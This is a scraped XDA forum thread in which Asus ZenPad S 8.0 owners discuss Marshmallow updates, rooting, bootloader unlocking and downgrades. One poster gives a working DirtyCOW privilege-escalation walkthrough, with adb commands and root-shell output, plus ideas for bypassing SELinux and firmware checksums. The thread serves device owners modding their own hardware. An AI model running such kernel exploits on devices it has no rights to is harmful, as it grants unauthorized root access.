yashsingh1/xdaforums huggingface dataset:
[Miscellaneous Android Development] loner.:
Still no root for anyone who upgraded to MM? No unlock for the bootloader? What a shame it's a well built tablet.
[Miscellaneous Android Development] TabletConnect:
I agree that doing a factory reset will help. I also the 2GB version. Mine is not super quick but it is faster than when I initially updated to MM.
[Miscellaneous Android Development] Bysler:
New update received today. Is not Nougat though. Wonder what kind of changes are bringing...

Build number: MMB29P.WW_P01M-V5.5.7-20170119
[Miscellaneous Android Development] jmn30@sapo.pt:
Downgrade to lollipop

Yes, I made it by following this link:

http://xdaforums.com/u/re...z580c-t3465203
[Miscellaneous Android Development] Munk0:
I got the update yesterday too. Right now the tablet seems more snappy and less stuttering but I honestly hope it's more than a placebo effect or I just haven't rebooting in a long time.
[Miscellaneous Android Development] xxhaimbondxx:
Does anyone know how to bypass Google lock on this tablet? My kids created an account and then factory restored it, but have no idea what credentials they used. I am able to run chrome, then install Nova launcher apk and eventually get into settings, however, when I reset the tablet, it still restores with Google lock. This is legit tablet, I have the box and everything.
[Miscellaneous Android Development] alexs784:
I can confirm that imho with last update it is a lot less laggy and it is not a placebo effect
[Miscellaneous Android Development] xxhaimbondxx:
figured it out. let me know if you need help with this.
[Miscellaneous Android Development] prozack1983:
So did anyone ever try the zenphone 2 official unlock tool? That phone has the same architecture as the z580ca. Here's a link to a blog posting with a link to the Asus website. http://www.asus-zenfone.com/2015/10/official-asus-zenfone-2-unlock.html
[Miscellaneous Android Development] loner.:
Go ahead and try it. Lets us know your results!

Sent from my P027
[Miscellaneous Android Development] coolblood2:
Any luck?
[Miscellaneous Android Development] loner.:
How would I know. I am not [MENTION=4323199]prozack1983[/MENTION]
[Miscellaneous Android Development] prozack1983:
If I had a Windows box i would in a second, right now all i have are android devices and a Chromebook :/
[Miscellaneous Android Development] Ezekial:
This post is 2yrs old. I would be surprised no one has tried it at this point.
[Miscellaneous Android Development] Panther6834:
I had the original ZenPad S 8.0 (Z580C), but returned it to Best Buy to pre-order the Z580CA, and have had it since its release. It very much reminds me of the Nexus 7 tablets, when one considers specs vs price. For the most part, it has been a great tablet. At the same time, I will admit that I use my Samsung Galaxy Tab S2 far, far more often, and probably for the same reason others owning the Z580C/Z580CA & another tablet use the other tablet more often. The biggest "downside" has been Asus failing to update the ZenPad to Android 6.x as quickly as they promised (ie. when they announced the ZenPad S models), as well as the excessive amount of bloatware. Thankfully, they finally released Android 6.x (unfortunately, 7.1 was just released), thus "resolving" one of the two problems.

As for the second "problem", removing bloatware requires rooting, and, since the MM release, they've blocked us from rooting (or rooting again, for those of us who had previously rooted our ZenPad S). Regarding the idea of using the ZenPhone 2 "unlock" tool, the ZE551 is closer to the ZenPad Z580CA, as both use the Intel Atom Z3580 CPU (the ZE550 uses the Z3560). Well, I tried both versions...and, unfortunately, both failed to install. There's the answer to your question, unless someone else figured out how to successfuly install the "unlock tool".

So, has anyone figured out yet how to root the Z580CA (and Z580C) when running Android 6.0.1 (ie. firmware WW_V5.5.7_20170119) ??? If so, please share...inquiring minds want to know.
[Miscellaneous Android Development] macallik:
Surprised this isn't getting more attention. It feels like a new tablet. I find myself gravitating towards my tablet to do tasks previously assigned to my phone.
[Miscellaneous Android Development] johnp357:
has anyone tried this?

https://unlock-bootloaders.com/how-to/unlock-bootloader-asus-zenpad-s-8-0-z580ca/#comment-545
[Miscellaneous Android Development] mulperi:
The "tutorial" does not make much sense. I think they just scrape the XDA forum for various android devices to get clicks to thier site.

Don't upgrade to 6.0 if you want root.
[Miscellaneous Android Development] Panther6834:
Yes, it feels like a new tablet...but it's still saddled with an exhaustive amount of bloatware, as well as a user interface that excessively draws on system resources. It is for this reason that people need a way to root the device (which was possible prior to Android 6.0.1), which would then allow us to uninstall all of the "offending" bloatware. But, what's equally important is for someone (XDA Developers, LineageOS, etc) to take the core Android kernel (Android 6.x would be acceptable, Android 7.x would be preferred), and create a working ROM for the ZenPad S 8.0 Z580CA & Z580C. As of right now, the LineageOS website lists custom ROMs for the following Asus devices: ZenPad 8.0 Z380KL (P024), ZenPhone 2 1080p (Z00A), ZenPhone 2 720p (Z008), ZenPhone 2 Z00D, ZenPhone 2 Laser 720p (Z00L), & ZenPhone 2 Laser/Selfie 1080p (Z00T). NOw, I don't know the hardware specs of any of these, but I'm fairly confident that at least one of them would have the same, or extremely similar, specs. Someone familiar with coding should be able to take the core kernel, look over the coding of the aforementioned Asus devices, and create a ROM for the ZenPad S 8.0 Z580CA & Z580C.
[Miscellaneous Android Development] mrbeardy:
There is no problem with creating a rom for the device. The problem is that until Asus decide to unlock the bootloader for our specific tablets, we cannot flash any custom images to any partition on the tablet. I know they have unlocked bootloaders on some of the other phones, but having used a number of Asus devices, I have very low expectations of that ever happening for the Z580. They make great hardware but never support it properly with good software.
[Miscellaneous Android Development] Panther6834:
I don't believe this to be entirely accurate. Prior to the latest update, we were able to root, and to uninstall apps (I know this, because I had previously rooted, and uninstalled apps, and was only able to update the firmware after manually flashing the device with the previous firmware). This is an indication (not "proof", but an "indication") that the bootloader was either unlocked at that point in time, or that someone figured out how to unlock it. However, even in that time, no custom ROMs had ever been made. As for right now, if the bootloader was originally locked under Android 5.x, and someone figured out a way to unlock it, then there's got to be some way to unlock it under the current firmware. It's a sad thing, considering how fantastic Asus computer hardware is, as well as customer/tech support for PC hardware. Unfortunately, as great as their handsets & tablets are, hardware-wise, their customer ? tech support in this area is lacking in an extreme way.
[Miscellaneous Android Development] sylvantrails:
I am about at my wit's end, here.

I cannot get this tablet to Root. I've tried KingoRoot, I've tried KingRoot, I've tried TowelRoot. None work.

I've tried the steps at the beginning of this thread. I get all the way to the very end with the "Do you want to Root", and the line of no, no, no, no, yes (root), no, no...select the yes, it reboots...and...

NO ROOT!

ASUS ZenPad S 8.0, Model P01M, Android version 5.0.

I HAD it rooted. Sent it in to get a broken screen repaired. They sent it back at Android 6, I made them put it back to 5 so I could root it (I have ONE app I need root for). Now, I can't root it.

Any suggestions?

HELP!!! Thanks!!

(Stupid game, not saving to Google Play...)

ETA: Add RootGenius to the list of attempted root apps. Still no go.
[Miscellaneous Android Development] mad4some:
After you have said "yes" to install the supersu .zip, you have to say "no" to the last one that says "do you want to fix root" (or something like that)......

Cheers
[Miscellaneous Android Development] sylvantrails:
THANK YOU!

I was apparently missing a step the instructions and it wasn't actually automatically installing the SuperSU. :confused: Reading your reply helped me figure out I needed to do some more digging, found what was missing and...I'M FINALLY ROOTED!! :victory:

Now, off to reinstall Titanium and get this stupid game restored. Stupid game that doesn't save to Google Play. Do you know how much trouble that has caused?
[Miscellaneous Android Development] mad4some:
and you didn't even hit the thanks button!! lol glad you got it fixed :D

edit: LOL you must have hit it why I was writting!! Cheers
[Miscellaneous Android Development] own16:
6.0.1

Will this work on android 6.0.1, thats what my zenpad came with or is there a version that will work. Thanks in adavance.
[Miscellaneous Android Development] allanzzz:
There is no root for mm for this tablet. No one has done it after so long.

Anyway I upgraded mine from rooted lp to mm yesterday.

It is much smoother, but possibly because I did a factory reset as well.

Standby time improved due to doze and screen on time possibly increased by 30 to 60 minutes.

Installed adguard, to replace adaway which requires root, in order to block ads with no root.

And also ogyoutube for watching YouTube.

Pretty happy with it and should have done it earlier.
[Miscellaneous Android Development] loner.:
I still would love to see some development on this device, the

ASUS ZenPad S 8.0 (Z580CA) as it is a good device, but it doesn't look like it's going to happen so far. I also would like to see Asus get off their high horse and provide a bootloader unlock key for this device like they have in the past for the Transformer series. Asus released a bootloader unlock for the Zenfone 2 (Zenfone 2 has the same processor and RAM configuration), so why not the S 8.0?
[Miscellaneous Android Development] Munk0:
loner., you're not alone in these thoughts. What a great tablet but it would be even better if Asus would just unlock the bootloader and even through in the kernel code too. I think they're afraid that this device could perform just as well, maybe even better, than their new hardware?
[Miscellaneous Android Development] mulperi:
I will not upgrade to 6.0 before root is available. Sad that asus is not unlocking the boot loader for this expensive tablet.
[Miscellaneous Android Development] DracoPiece:
Is there a way to downgrade fom MM to Lollipop?
[Miscellaneous Android Development] mscott.md:
I believe there is a previous post I this thread that describes how to go back to L.
[Miscellaneous Android Development] ryka93:
I did a downgrade from MM to LP just to root it. With MM worked just fine for a couple of months and then started to work really laggy. I use it specially to manage my professional social profiles, and just scrolling down on instagram would make it crash. I hibernate some apps, but does anybody know anything else I can do? thanks
[Miscellaneous Android Development] amrmo:
RAW firmware for JP version

I would like to perform a restore from DROIDBOOT provision OS for a JP SKU.

I could find a RAW file for the WW version of this device (named: Z580C_all_WW_user_V4.6.1.raw), which is initially accepted upon copying it on the sdcard and demanding 'SD DOWNLOAD' from the recovery screen.

However the rest of the recovery is halted as soon as the SKU is recognized as belonging to a different variant of the device.

Can this be overwritten? Does anybody have a working RAW image for the Japanese SKU?

Thanks a lot!
[Miscellaneous Android Development] bkkzak:
So is the consensus that non-rooted marshnallow is better than rooted/xposed lollipop?
[Miscellaneous Android Development] oldslowdiver:
Absolutely NO.

MM non-rooted sucks. No way to properly block ads, no control, power without control = that bad. Profiles on MM are such so limited-things that you can't even install an APK if not from Playstore.. you can allow it only on the main profile. And you have only 1 GB for profile. And not to mention all the bloatware that I would be more than happy to remove instantly.

So, LolliPop xposed rooted forever.. if only I could.. :crying:
[Miscellaneous Android Development] st4s1k:
What does xposed do? I've installed it on my phone and the only thing it was helpful to me is that I could put some widgets on my lock screen. Any other valuable features?
[Miscellaneous Android Development] loner.:
You are correct.

Although I miss having root and Xposed, the Marshmallow has fewer bugs and runs much smoother. It also seems the battery charge last longer.
[Miscellaneous Android Development] bkkzak:
Thanks, I know you've aways been a huge proponent of rooting on this tab :highfive:

---------- Post added at 06:34 PM ---------- Previous post was at 06:26 PM ----------

Thanks for your response. Though the lag is killing me and lollipop as a whole just frickin blows, I'm going to upgrade to marshmallow.

I'll use adguard or something similar for ads (if it turns out my network DNS adblocking doesn't suffice), and if it's really that bad - I always have the option to downgrade, as do you [MENTION=4258537]oldslowdiver[/MENTION]. It's detailed in this thread.

Thanks again for your feedback

---------- Post added at 06:38 PM ---------- Previous post was at 06:34 PM ----------

Look at the post I made 1.5 years ago, it's the top third post of all time in this thread. Describes a few uses of xposed
[Miscellaneous Android Development] FSRBIKER:
If you need to block ads in a browser I have been using Dee Browser on all my devices. https://play.google.com/store/apps/details?id=co.zew.deebrowser
[Miscellaneous Android Development] mscott.md:
Not for me. I've not had performance issues with LP and the advantages of root and xposed are hard to compete with.
[Miscellaneous Android Development] oldslowdiver:
Thank you. I wish I could take the risk, but my family would not allow any occurring error.. this time :silly:

So, I'm waiting to come the magic wand to root MM on this device. So, please, share your experience as you can. Cheers.
[Miscellaneous Android Development] bkkzak:
Okay, I may do a clean flash of LP first.

Out of curiosity, do you use greenify, power nap, amplify? What xposed mods are you using?
[Miscellaneous Android Development] mscott.md:
I use several xposed apps: minminguard, gravitybox, better battery saver, cool tool, 3C tuner (formerly Android tuner), enhanced toast, and HeadsOff. I removed greenify and amplify after trying them... didn't seem like they were that useful for what I do on a daily basis. I don't play games very often and I don't use social media. I do use my ZenPad to check on my servers, read, and light spreadsheet work.

HTH,

Mike
[Miscellaneous Android Development] amrmo:
rooting Marshmallow through RAW firmware mod?

I've managed to modify with an HEX editor a 4.7.1 RAW firmware image for the Zenpad S8.0. It was successfully deployed using AsusFlashTool.

My modification was minimal, but enough to normally see it rejected, as it modified the checksum. The trick has been to edit also the field $ASUS$skip_check#1 in the header of the file.

Perhaps this could be used to replace the stock image with one, where root access has been restored?

My questions:

1) Where are normally these *.RAW files obtained from? I've seen a few copies in various postings etc., but never a good description of how they were found.

2) What is the format of these *.RAW files? any guide on how to unpack / repack them? it would be much easier than hex-editing our way around...

2) AsusFlashTool 1.14 for Windows only works when connected to the internet. Perhaps it is possible to capture its traffic, and see if it downloads from Asus the proper bootloader unlocker key for the selected device?

Thanks to all, fingers crossed!
[Miscellaneous Android Development] amrmo:
Editing UL-P01M-WW-user.zip for debloating / root & unlock?

I've looked a little into the revised procedure that Marshmallow images go through, for editing & signing.

It's not complete, but here the main steps:

1) sdat2img.py system.transfer.list system.new.dat system_dumped_into_img.img

2) mount system_dumped_into_img /mnt ; edit as pleased.

In particular: adding sys.oem_unlock_allowed=1 should allow to unlock the bootloader via fastboot!

3) umount /mnt; e2fsck -f dump_into_system.img ; resize2fs -M dump_into_system.img ; /tmp/img2simg dump_into_system.img ; img2sdat.py dump_into_system_and_made_sparse.img

4) SIGNING: see

https://github.com/yousong/mkmzupdate

I suppose we still need to add our own signature to otacerts.zip?

Have fun!
[Miscellaneous Android Development] amrmo:
ZenPad S8.0 Marshmallow ROOT ACHIEVED !

I've seen that the Asus stock firmware version UL-P01M-WW-5.5.0.0-user.zip (Marshmallow!) can be rooted via a 'dirtycow' ;) exploit. In other words, we have again root! (although some more work will be needed to bypass SELinux. On the positive side, perhaps unlocking the bootloader may at last be possible too!)

adb shell

shell@P01M_1:/ $ uname -a

Linux localhost 3.10.72-x86_64_moor-00009-gc702cc7 #1 SMP PREEMPT Thu Sep 22 14:46:38 CST 2016 i686

adb push libs/x86/dirtycow /data/local/tmp/dcow

adb push test.sh /data/local/tmp/test.sh

adb shell

shell@P01M_1:/ $ chmod 777 /data/local/tmp/dcow

shell@P01M_1:/ $ chmod 777 /data/local/tmp/test.sh

shell@P01M_1:/ $ /data/local/tmp/test.sh

shell@P01M_1:/ $ dcow /data/local/tmp/test /data/local/tmp/test2

shell@P01M_1:/ $ cat /data/local/tmp/test2

vulnerable!!!!!!!

adb push libs/x86/run-as /data/local/tmp/run-as

255|shell@P01M_1:/ $ dcow /data/local/tmp/run-as /system/bin/run-as

255|shell@P01M_1:/ $ run-as

uid run-as 2000

uid 0

0 u:r:runas:s0

context 0 u:r:shell:s0

shell@P01M_1:/ #

And with this, we have a root shell! However SELinux is still placing some limitations...

An idea for unlocking the bootloader: after rooting,

shell@P01M_1:/ # cp /dev/__properties__ /sdcard/

adb pull /sdcard/__properties__ .

On hex line 0000ce90: modify oem_unlock_allowed , value 0x30 (decimal 0) into 0x31 (decimal 1)

Once we manage to replace the modified file back under /dev, the option to enable bootloader unlock should be available under 'Developer options'. Or perhaps via editing the file /default.prop...

1|shell@P01M_1:/ # setenforce 0

setenforce: Couldn't set enforcing status to '0': Permission denied

Have fun guys!
[Miscellaneous Android Development] loner.:
If you can get it rooted and put back together in a updatable zip I might believe again
[Miscellaneous Android Development] amrmo:
The question for me now would be, how to enable sys.oem_unlock_allowed=1 within /default.prop (or perhaps by hand, under /dev/__properties__ , see i.e.: https://xdaforums.com/android/software-hacking/enable-oem-unlock-developer-options-t3369084 )

The files are accessible to root, but SELinux prevents their writing. I've seen some further work to bypass that, but haven't got around to trying that yet. Essentially the exploit should be deployed onto a file, which would inherit a permissive enough SELinux policy to write such changes - as one can check via ls -Z

Keep trying...
[Miscellaneous Android Development] S. Prime:
Awesome, your work is appreciated.
[Miscellaneous Android Development] amrmo:
Possible rooting/oem unlocking strategy under Marshmallow 5.5.0

To sum up, the strategy would be:

1) keep temporarily Marshmallow 5.5.0 (or revert to that by going first back to a 4.7.1, via a RAW image and AsusFlashTool - VERIFIED TO WORK, but it does appear to exchange some files with as.eservice.asus.com before proceeding. Has anybody ever tried to intercept such traffic & capture what is exchanged? In case of luck, this could even be a 'request' file which may allow to do everything much simpler from fastboot:

[...]

flashing unlock_bootloader <request> Issue unlock bootloader using request

[...]

2) deploy a dirtycow exploit, which allows to overwrite a file under /system/bin (it will be re-created to the original state at the next reboot), such as 'run-as'.

In particular, the code I've used spans a system shell as root, simply via: system("/system/bin/sh -i"); [ALSO VERIFIED TO WORK]

3) find a way around SELinux, so as to be able to remount /system as rw and modify either '/system/build.prop' or '/default.prop' with the new line:

sys.oem_unlock_allowed=1

This should allow the option to unlock the bootloader to appear under the hidden 'Developer options' menu under 'Settings'. Once enabled by hand there, I'd hope it's possible to reboot in Nandroid recovery OS, see a different reply to:

fastboot flashing get_unlock_ability

and issue a:

fastboot flashing unlock

... to actually free up the device for good.

This is still to try out more. In particular, it would seem that the current situation is saved within the hidden partition:

/dev/__properties__

With the above root exploit, it can be copied into i.e. /sdcard and then 'pull'ed out from the device via 'adb'. Upon closer consideration, my guess is that the setting is stored around byte 52876:

dd if=__properties__ ibs=1 skip=52876 count=25 of=/tmp/test

...where one would have to modify the current default of '0' (try any hex editor...) into '1' i.e. 0x31

I still haven't managed to either overwrite the original '/system/build.prop' with the changed one, or (more dangerous!) overwrite this settings partition.

It could be possible through more careful usage of DirtyCOW, basically overwriting with our shell (or a basic program/script that performs the needed operation) a file for which SELinux allows this kind of operation - the default 'toolbox' under whose context 'run-as' falls into appears too restricted.

A quick tip: DirtyCOW appears to work best, if the size of the new/the overwritten file are identical or similar. You may want to do some padding. Unfortunately '/system/app_process32' seems rather critical (if overwritten, spawning the new root shell gives some library problems. The trick would be, to replace it directly with a small self-contained shell - like a tiny, statically pre-compiled x86 version of busybox for instance - rather than a shellcode like the present 'run-as.c' snippet (which relies on external help, to successfully launch the above system("/system/bin/sh -i"); C call.

I haven't tried that yet...
[Miscellaneous Android Development] amrmo:
I've played some more with SELinux. Perhaps the simplest way to bypass it, so as to make actual good use of our dirtycow root, may be to edit some more the RAW system images to be flashed by Asus Flash Tool?

That worked for me, as I changed SKU via a hex editor. It was enough to trigger a checksum error of course; but that check could be disabled as well, and afterwards all went fine.

Now the idea would be, to edit such image a bit more: the file contains various instances of a kernel boot string (likely because it is an aggregate of standard + recovery img etc.), such as:

androidboot.selinux=permissive init=/init pci=noearly loglevel=0 vmalloc=384M androidboot.hardware=mofd_v1 console=logk0 watchdog.watchdog_thresh=60 androidboot.spid=xxxx:xxxx:xxxx:xxxx:xxxx:xxxx androidboot.serialno=01234567890123456789 snd_pcm.maximum_substreams=8 ip=50.0.0.2:50.0.0.1::255.255.255.0::usb0:on debug_locks=0 n_gsm.mux_base_conf="ttyACM0,0 ttyXMM0,1" bootboost=1 build_version=3

I suppose adding 'enforcing=0' should fully disable SELinux...

Will try once back with some time for the unit!
[Miscellaneous Android Development] nonperson:
I know little about the details you relate but can pass along a mammoth thankoo for your time and effort. Well done indeed.
[Miscellaneous Android Development] Munk0:
Things were getting interesting here where root is concerned. Any new progress to speak of?
[Miscellaneous Android Development] Mr_Armageddon:
Just picked up a refurbished 64GB version of this Tablet, after my Nvidia Shield Tablet died. Came with Android 6.0.1 installed. Read through the last few pages, wondering if anyone has made progress with MM Root?